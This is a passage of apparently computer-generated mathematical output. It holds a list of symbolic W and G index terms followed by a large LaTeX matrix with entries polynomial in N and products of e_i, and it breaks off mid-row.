7)G(5, 8) W(2)W(5)G(1, 6)G(3, 7)G(4, 8) W(3)W(4)G(1, 5)G(2, 6)G(7, 8) W(3)W(4)G(1, 5)G(2, 7)G(6, 8) W(3)W(4)G(1, 6)G(2, 7)G(5, 8) W(3)W(5)G(1, 6)G(2, 7)G(4, 8) W(4)W(5)G(1, 6)G(2, 7)G(3, 8) W(1)W(2)W(3)W(4)W(5)G(6, 8) W(1)W(2)W(3)W(4)G(5, 6)G(7, 8) W(1)W(2)W(3)W(4)G(5, 7)G(6, 8) W(1)W(2)W(3)W(5)G(4, 6)G(7, 8) W(1)W(2)W(3)W(5)G(4, 7)G(6, 8) W(1)W(2)W(3)W(6)G(4, 7)G(5, 8) W(1)W(2)W(4)W(5)G(3, 6)G(7, 8) W(1)W(2)W(4)W(5)G(3, 7)G(6, 8) W(1)W(2)W(4)W(6)G(3, 7)G(5, 8) W(1)W(2)W(5)W(6)G(3, 7)G(4, 8) W(1)W(3)W(4)W(5)G(2, 6)G(7, 8) W(1)W(3)W(4)W(5)G(2, 7)G(6, 8) W(1)W(3)W(4)W(6)G(2, 7)G(5, 8) W(1)W(3)W(5)W(6)G(2, 7)G(4, 8) W(1)W(4)W(5)W(6)G(2, 7)G(3, 8) W(2)W(3)W(4)W(5)G(1, 6)G(7, 8) W(2)W(3)W(4)W(5)G(1, 7)G(6, 8) W(2)W(3)W(4)W(6)G(1, 7)G(5, 8) W(2)W(3)W(5)W(6)G(1, 7)G(4, 8) W(2)W(4)W(5)W(6)G(1, 7)G(3, 8) W(3)W(4)W(5)W(6)G(1, 7)G(2, 8) W(1)W(2)W(3)W(4)W(5)W(6)G(7, 8) W(1)W(2)W(3)W(4)W(5)W(7)G(6, 8) W(1)W(2)W(3)W(4)W(6)W(7)G(5, 8) W(1)W(2)W(3)W(5)W(6)W(7)G(4, 8) W(1)W(2)W(4)W(5)W(6)W(7)G(3, 8) W(1)W(3)W(4)W(5)W(6)W(7)G(2, 8) W(2)W(3)W(4)W(5)W(6)W(7)G(1, 8) W(1)W(2)W(3)W(4)W(5)W(6)W(7)W(8) ``` $$ \left(\begin{array}{rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr} 1 & -N & 0 & N^{2} & 0 & 0 & 0 & -N^{3} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{6} \\ 0 & e_{1} & -e_{1} & -N e_{1} & -e_{1} & 0 & N e_{1} & N^{2} e_{1} & -e_{1} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{1} & -N^{3} e_{1} & -e_{1} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{1} & N^{4} e_{1} & -e_{1} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{1} & -N^{5} e_{1} \\ 0 & 0 & e_{2} & -N e_{2} & 0 & N e_{2} & 0 & N^{2} e_{2} & 0 & N e_{2} & 0 & 0 & 0 & -N^{2} e_{2} & 0 & -N^{3} e_{2} & 0 & N e_{2} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{2} & 0 & N^{4} e_{2} & 0 & N e_{2} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{2} & 0 & -N^{5} e_{2} \\ 0 & 0 & 0 & e_{1} e_{2} & 0 & -e_{1} e_{2} & -e_{1} e_{2} & -N e_{1} e_{2} & 0 & -e_{1} e_{2} & 0 & e_{1} e_{2} & 0 & N e_{1} e_{2} & N e_{1} e_{2} & N^{2} e_{1} e_{2} & 0 & -e_{1} e_{2} & 0 & e_{1} e_{2} & e_{1} e_{2} & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{2} & 0 & 0 & -N^{2} e_{1} e_{2} & -N^{2} e_{1} e_{2} & -N^{3} e_{1} e_{2} & 0 & -e_{1} e_{2} & 0 & e_{1} e_{2} & e_{1} e_{2} & e_{1} e_{2} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{2} & 0 & 0 & 0 & N^{3} e_{1} e_{2} & N^{3} e_{1} e_{2} & N^{4} e_{1} e_{2} \\ 0 & 0 & 0 & 0 & e_{3} & -N e_{3} & -N e_{3} & N^{2} e_{3} & 0 & 0 & 0 & 0 & -N^{2} e_{3} & 0 & 0 & -N^{3} e_{3} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{3} & 0 & 0 & N^{4} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{3} & 0 & 0 & -N^{5} e_{3} \\ 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} & 0 & -N e_{1} e_{3} & 0 & 0 & e_{1} e_{3} & 0 & N e_{1} e_{3} & 0 & N e_{1} e_{3} & N^{2} e_{1} e_{3} & 0 & 0 & e_{1} e_{3} & 0 & 0 & N e_{1} e_{3} & 0 & 0 & 0 & -N e_{1} e_{3} & 0 & 0 & -N^{2} e_{1} e_{3} & 0 & -N^{2} e_{1} e_{3} & -N^{3} e_{1} e_{3} & 0 & 0 & e_{1} e_{3} & 0 & 0 & 0 & N e_{1} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{3} & 0 & 0 & 0 & N^{3} e_{1} e_{3} & 0 & N^{3} e_{1} e_{3} & N^{4} e_{1} e_{3} \\ 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} & -N e_{2} e_{3} & 0 & 0 & -e_{2} e_{3} & -e_{2} e_{3} & N e_{2} e_{3} & N e_{2} e_{3} & 0 & N^{2} e_{2} e_{3} & 0 & 0 & -e_{2} e_{3} & -e_{2} e_{3} & 0 & N e_{2} e_{3} & 0 & -N e_{2} e_{3} & 0 & 0 & 0 & 0 & -N^{2} e_{2} e_{3} & -N^{2} e_{2} e_{3} & 0 & -N^{3} e_{2} e_{3} & 0 & 0 & -e_{2} e_{3} & -e_{2} e_{3} & 0 & 0 & N e_{2} e_{3} & 0 & -N e_{2} e_{3} & -N e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{2} e_{3} & N^{3} e_{2} e_{3} & 0 & N^{4} e_{2} e_{3} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} & -e_{1} e_{2} e_{3} & -e_{1} e_{2} e_{3} & -N e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} & 0 & e_{1} e_{2} e_{3} & 0 & e_{1} e_{2} e_{3} & e_{1} e_{2} e_{3} & 0 & N e_{1} e_{2} e_{3} & N e_{1} e_{2} e_{3} & N e_{1} e_{2} e_{3} & N^{2} e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} & 0 & e_{1} e_{2} e_{3} & e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{2} e_{3} & 0 & 0 & -N e_{1} e_{2} e_{3} & -N e_{1} e_{2} e_{3} & 0 & 0 & -N^{2} e_{1} e_{2} e_{3} & -N^{2} e_{1} e_{2} e_{3} & -N^{2} e_{1} e_{2} e_{3} & -N^{3} e_{1} e_{2} e_{3} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{4} & -N e_{4} & 0 & 0 & N^{2} e_{4} & N^{2} e_{4} & N^{2} e_{4} & -N^{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{4} & 0 & 0 & 0 & N^{4} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{4} & 0 & 0 & 0 & -N^{5} e_{4} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} & -e_{1} e_{4} & -e_{1} e_{4} & -N e_{1} e_{4} & -N e_{1} e_{4} & 0 & N^{2} e_{1} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{4} & 0 & 0 & -N^{2} e_{1} e_{4} & 0 & 0 & -N^{2} e_{1} e_{4} & -N^{3} e_{1} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{4} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{1} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{4} & 0 & 0 & 0 & N^{3} e_{1} e_{4} & 0 & 0 & N^{3} e_{1} e_{4} & N^{4} e_{1} e_{4} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{4} & 0 & -N e_{2} e_{4} & 0 & -N e_{2} e_{4} & N^{2} e_{2} e_{4} & 0 & 0 & 0 & 0 & -e_{2} e_{4} & 0 & -N e_{2} e_{4} & 0 & 0 & 0 & N e_{2} e_{4} & -N^{2} e_{2} e_{4} & 0 & -N^{2} e_{2} e_{4} & 0 & -N^{3} e_{2} e_{4} & 0 & 0 & 0 & 0 & -e_{2} e_{4} & 0 & 0 & -N e_{2} e_{4} & 0 & 0 & N e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{2} e_{4} & 0 & 0 & 0 & N^{2} e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{2} e_{4} & 0 & N^{3} e_{2} e_{4} & 0 & N^{4} e_{2} e_{4} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{4} & 0 & -N e_{3} e_{4} & -N e_{3} e_{4} & N^{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & N e_{3} e_{4} & N e_{3} e_{4} & N e_{3} e_{4} & N e_{3} e_{4} & 0 & -N^{2} e_{3} e_{4} & -N^{2} e_{3} e_{4} & 0 & 0 & -N^{3} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N e_{3} e_{4} & N e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{3} e_{4} & 0 & N^{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{3} e_{3} e_{4} & N^{3} e_{3} e_{4} & 0 & 0 & N^{4} e_{3} e_{4} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} & 0 & 0 & -N e_{1} e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} & 0 & e_{1} e_{2} e_{4} & 0 & 0 & N e_{1} e_{2} e_{4} & 0 & N e_{1} e_{2} e_{4} & N e_{1} e_{2} e_{4} & N^{2} e_{1} e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{4} & 0 & N e_{1} e_{2} e_{4} & 0 & 0 & 0 & -N e_{1} e_{2} e_{4} & 0 & 0 & -N e_{1} e_{2} e_{4} & 0 & -N e_{1} e_{2} e_{4} & 0 & -N^{2} e_{1} e_{2} e_{4} & 0 & -N^{2} e_{1} e_{2} e_{4} & -N^{2} e_{1} e_{2} e_{4} & -N^{3} e_{1} e_{2} e_{4} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{4} & 0 & -N e_{1} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{4} & -e_{1} e_{3} e_{4} & 0 & 0 & 0 & N e_{1} e_{3} e_{4} & N e_{1} e_{3} e_{4} & 0 & N e_{1} e_{3} e_{4} & N^{2} e_{1} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{4} & -e_{1} e_{3} e_{4} & 0 & e_{1} e_{3} e_{4} & 0 & -e_{1} e_{3} e_{4} & 0 & 0 & 0 & N e_{1} e_{3} e_{4} & 0 & -N e_{1} e_{3} e_{4} & 0 & 0 & 0 & 0 & -N e_{1} e_{3} e_{4} & -N e_{1} e_{3} e_{4} & 0 & 0 & -N^{2} e_{1} e_{3} e_{4} & -N^{2} e_{1} e_{3} e_{4} & 0 & -N^{2} e_{1} e_{3} e_{4} & -N^{3} e_{1} e_{3} e_{4} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{4} & -N e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{3} e_{4} & -e_{2} e_{3} e_{4} & -e_{2} e_{3} e_{4} & N e_{2} e_{3} e_{4} & N e_{2} e_{3} e_{4} & N e_{2} e_{3} e_{4} & 0 & N^{2} e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{3} e_{4} & 0 & e_{2} e_{3} e_{4} & 0 & e_{2} e_{3} e_{4} & e_{2} e_{3} e_{4} & N e_{2} e_{3} e_{4} & 0 & -N e_{2} e_{3} e_{4} & 0 & -N e_{2} e_{3} e_{4} & -N e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{2} e_{3} e_{4} & -N^{2} e_{2} e_{3} e_{4} & -N^{2} e_{2} e_{3} e_{4} & 0 & -N^{3} e_{2} e_{3} e_{4} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} e_{4} & -e_{1} e_{2} e_{3} e_{4} & -e_{1} e_{2} e_{3} e_{4} & -e_{1} e_{2} e_{3} e_{4} & -N e_{1} e_{2} e_{3} e_{4} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{3} e_{4} & 0 & e_{1} e_{2} e_{3} e_{4} & 0 & e_{1} e_{2} e_{3} e_{4} & e_{1} e_{2} e_{3} e_{4} & 0 & e_{1} e_{2} e_{3} e_{4} & e_{1} e_{2} e_{3} e_{4} & e_{1} e_{2} e_{3} e_{4} & 0 & N e_{1} e_{2} e_{3} e_{4} & N e_{1} e_{2} e_{3} e_{4} & N e_{1} e_{2} e_{3} e_{4} & N e_{1} e_{2} e_{3} e_{4} & N^{2} e_{1} e_{2} e_{3} e_{4} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{5} & -N e_{5} & 0 & 0 & 0 & N^{2} e_{5} & 0 & 0 & 0 & 0 & 0 & -N^{3} e_{5} & -N^{3} e_{5} & -N^{3} e_{5} & -N^{3} e_{5} & N^{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{4} e_{5} & 0 & 0 & 0 & 0 & -N^{5} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{5} & -e_{1} e_{5} & -e_{1} e_{5} & -e_{1} e_{5} & -N e_{1} e_{5} & 0 & 0 & N e_{1} e_{5} & N e_{1} e_{5} & N e_{1} e_{5} & N^{2} e_{1} e_{5} & N^{2} e_{1} e_{5} & N^{2} e_{1} e_{5} & 0 & -N^{3} e_{1} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{1} e_{5} & 0 & 0 & 0 & N^{3} e_{1} e_{5} & 0 & 0 & 0 & N^{3} e_{1} e_{5} & N^{4} e_{1} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{5} & 0 & 0 & -N e_{2} e_{5} & N e_{2} e_{5} & N e_{2} e_{5} & 0 & 0 & 0 & N^{2} e_{2} e_{5} & N^{2} e_{2} e_{5} & 0 & N^{2} e_{2} e_{5} & -N^{3} e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{2} e_{5} & N^{3} e_{2} e_{5} & 0 & 0 & N^{3} e_{2} e_{5} & 0 & N^{4} e_{2} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{5} & 0 & 0 & -N e_{3} e_{5} & 0 & -N e_{3} e_{5} & 0 & 0 & N^{2} e_{3} e_{5} & 0 & N^{2} e_{3} e_{5} & N^{2} e_{3} e_{5} & -N^{3} e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N^{2} e_{3} e_{5} & 0 & 0 & 0 & -N^{2} e_{3} e_{5} & 0 & 0 & -N^{2} e_{3} e_{5} & 0 & N^{3} e_{3} e_{5} & 0 & N^{3} e_{3} e_{5} & 0 & 0 & N^{4} e_{3} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{4} e_{5} & 0 & 0 & -N e_{4} e_{5} & 0 & -N e_{4} e_{5} & -N e_{4} e_{5} & 0 & N^{2} e_{4} e_{5} & N^{2} e_{4} e_{5} & N^{2} e_{4} e_{5} & -N^{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{4} e_{5} & -N^{2} e_{4} e_{5} & -N^{2} e_{4} e_{5} & -N^{2} e_{4} e_{5} & 0 & -N^{2} e_{4} e_{5} & -N^{2} e_{4} e_{5} & 0 & 0 & N^{3} e_{4} e_{5} & N^{3} e_{4} e_{5} & 0 & 0 & 0 & N^{4} e_{4} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{5} & -e_{1} e_{2} e_{5} & -e_{1} e_{2} e_{5} & -e_{1} e_{2} e_{5} & -e_{1} e_{2} e_{5} & 0 & -N e_{1} e_{2} e_{5} & -N e_{1} e_{2} e_{5} & 0 & 0 & N^{2} e_{1} e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{5} & 0 & 0 & 0 & 0 & 0 & -N e_{1} e_{2} e_{5} & 0 & 0 & -N e_{1} e_{2} e_{5} & 0 & 0 & 0 & -N^{2} e_{1} e_{2} e_{5} & 0 & 0 & -N^{2} e_{1} e_{2} e_{5} & -N^{2} e_{1} e_{2} e_{5} & -N^{3} e_{1} e_{2} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{5} & 0 & 0 & 0 & -e_{1} e_{3} e_{5} & -N e_{1} e_{3} e_{5} & 0 & -N e_{1} e_{3} e_{5} & 0 & N^{2} e_{1} e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{5} & 0 & -e_{1} e_{3} e_{5} & 0 & 0 & 0 & e_{1} e_{3} e_{5} & 0 & -N e_{1} e_{3} e_{5} & 0 & 0 & 0 & N e_{1} e_{3} e_{5} & -N e_{1} e_{3} e_{5} & 0 & 0 & 0 & -N^{2} e_{1} e_{3} e_{5} & 0 & -N^{2} e_{1} e_{3} e_{5} & 0 & -N^{2} e_{1} e_{3} e_{5} & -N^{3} e_{1} e_{3} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} e_{5} & 0 & 0 & 0 & 0 & -N e_{1} e_{4} e_{5} & -N e_{1} e_{4} e_{5} & 0 & N^{2} e_{1} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{4} e_{5} & e_{1} e_{4} e_{5} & e_{1} e_{4} e_{5} & e_{1} e_{4} e_{5} & 0 & 0 & N e_{1} e_{4} e_{5} & N e_{1} e_{4} e_{5} & N e_{1} e_{4} e_{5} & N e_{1} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & -N^{2} e_{1} e_{4} e_{5} & -N^{2} e_{1} e_{4} e_{5} & 0 & 0 & -N^{2} e_{1} e_{4} e_{5} & -N^{3} e_{1} e_{4} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{5} & 0 & 0 & -N e_{2} e_{3} e_{5} & 0 & 0 & -N e_{2} e_{3} e_{5} & N^{2} e_{2} e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{5} & 0 & e_{2} e_{3} e_{5} & 0 & 0 & 0 & -N e_{2} e_{3} e_{5} & 0 & -N e_{2} e_{3} e_{5} & 0 & 0 & 0 & 0 & N e_{2} e_{3} e_{5} & N e_{2} e_{3} e_{5} & -N^{2} e_{2} e_{3} e_{5} & 0 & -N^{2} e_{2} e_{3} e_{5} & -N^{2} e_{2} e_{3} e_{5} & 0 & -N^{3} e_{2} e_{3} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{4} e_{5} & 0 & 0 & -N e_{2} e_{4} e_{5} & 0 & -N e_{2} e_{4} e_{5} & N^{2} e_{2} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{4} e_{5} & -e_{2} e_{4} e_{5} & 0 & 0 & 0 & 0 & N e_{2} e_{4} e_{5} & N e_{2} e_{4} e_{5} & 0 & 0 & 0 & N e_{2} e_{4} e_{5} & N e_{2} e_{4} e_{5} & 0 & N e_{2} e_{4} e_{5} & -N^{2} e_{2} e_{4} e_{5} & -N^{2} e_{2} e_{4} e_{5} & 0 & -N^{2} e_{2} e_{4} e_{5} & 0 & -N^{3} e_{2} e_{4} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{3} e_{4} e_{5} & 0 & 0 & -N e_{3} e_{4} e_{5} & -N e_{3} e_{4} e_{5} & N^{2} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{3} e_{4} e_{5} & -e_{3} e_{4} e_{5} & -e_{3} e_{4} e_{5} & 0 & 0 & 0 & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & N e_{3} e_{4} e_{5} & 0 & -N^{2} e_{3} e_{4} e_{5} & -N^{2} e_{3} e_{4} e_{5} & -N^{2} e_{3} e_{4} e_{5} & 0 & 0 & -N^{3} e_{3} e_{4} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{5} & 0 & 0 & 0 & -N e_{1} e_{2} e_{3} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{3} e_{5} & 0 & e_{1} e_{2} e_{3} e_{5} & 0 & 0 & e_{1} e_{2} e_{3} e_{5} & 0 & 0 & 0 & N e_{1} e_{2} e_{3} e_{5} & 0 & N e_{1} e_{2} e_{3} e_{5} & N e_{1} e_{2} e_{3} e_{5} & N e_{1} e_{2} e_{3} e_{5} & N^{2} e_{1} e_{2} e_{3} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{2} e_{4} e_{5} & 0 & 0 & -N e_{1} e_{2} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{2} e_{4} e_{5} & -e_{1} e_{2} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & N e_{1} e_{2} e_{4} e_{5} & N e_{1} e_{2} e_{4} e_{5} & 0 & N e_{1} e_{2} e_{4} e_{5} & N e_{1} e_{2} e_{4} e_{5} & N^{2} e_{1} e_{2} e_{4} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{1} e_{3} e_{4} e_{5} & 0 & -N e_{1} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{1} e_{3} e_{4} e_{5} & -e_{1} e_{3} e_{4} e_{5} & -e_{1} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & N e_{1} e_{3} e_{4} e_{5} & N e_{1} e_{3} e_{4} e_{5} & N e_{1} e_{3} e_{4} e_{5} & 0 & N e_{1} e_{3} e_{4} e_{5} & N^{2} e_{1} e_{3} e_{4} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & e_{2} e_{3} e_{4} e_{5} & -N e_{2} e_{3} e_{4} e_{5} & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & -e_{2} e_{3} e_{4} e_{5} & -e_{2} e_{3} e_{4} e_{5} & -e_{2} e_{3} e_{4} e_{5} & -e_{2} e_{3} e_{4} e_{5} & N e_{2} e_{3} e_{4} e_{5} & N e_{2} e_{3} e_{4} e_{5} & N e_{2} e_{3} e_{4} e_{5} & N e_{2} e_{3} e_{4} e_{5} & 0 & N^{2} e_{2} e_{3} e_{4} e_{5} \\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 